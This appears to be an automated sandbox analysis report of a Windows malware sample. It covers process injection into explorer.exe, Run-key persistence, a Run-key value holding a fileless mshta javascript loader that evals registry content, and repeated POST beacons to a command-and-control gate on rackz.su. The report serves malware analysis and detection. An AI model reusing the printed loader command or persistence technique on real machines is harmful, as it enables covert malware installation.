Analysis
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max time kernel
135s -
max time network
136s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
20-11-2020 15:22
Static task
static1
Behavioral task
behavioral1
Sample
d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
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Target
d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
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Size
52KB
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MD5
094312be0a71a292a4670bcda23b2500
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SHA1
b2b465baee22889403ba48c0745d5d9643a45555
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SHA256
d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc
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SHA512
dbe5895339a06d806b240333dd4a0be2767c36833ad6860b396c6013ca4c8483395534fb68b4c709922d512cf61d23ee5410f99a3dd633e13d94f6a2f44523b9
Score
6/10
Malware Config
Signatures
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Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsStartmemt = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe" explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Santa = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);" explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1036 set thread context of 3540 1036 d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe 78 -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 1036 d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe 3540 explorer.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3540 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3540 explorer.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1036 wrote to memory of 3540 1036 d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe 78 PID 1036 wrote to memory of 3540 1036 d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe 78 PID 1036 wrote to memory of 3540 1036 d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe"C:\Users\Admin\AppData\Local\Temp\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"2⤵
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3540
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Network
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Remote address:8.8.8.8:53Requestrackz.suIN AResponserackz.suIN A170.106.35.220
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Remote address:170.106.35.220:80RequestPOST /gate.php HTTP/1.1
Connection: Keep-Alive
Content-Length: 99
Host: rackz.su
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
X-Powered-By: PHP/7.4.11
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8
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Remote address:170.106.35.220:80RequestPOST /gate.php HTTP/1.1
Connection: Keep-Alive
Content-Length: 99
Host: rackz.su
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
X-Powered-By: PHP/7.4.11
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8
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Remote address:170.106.35.220:80RequestPOST /gate.php HTTP/1.1
Connection: Keep-Alive
Content-Length: 99
Host: rackz.su
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
X-Powered-By: PHP/7.4.11
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8
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456 B 447 B 6 5
HTTP Request
POST http://rackz.su/gate.phpHTTP Response
200 -
456 B 487 B 6 6
HTTP Request
POST http://rackz.su/gate.phpHTTP Response
200 -
456 B 487 B 6 6
HTTP Request
POST http://rackz.su/gate.phpHTTP Response
200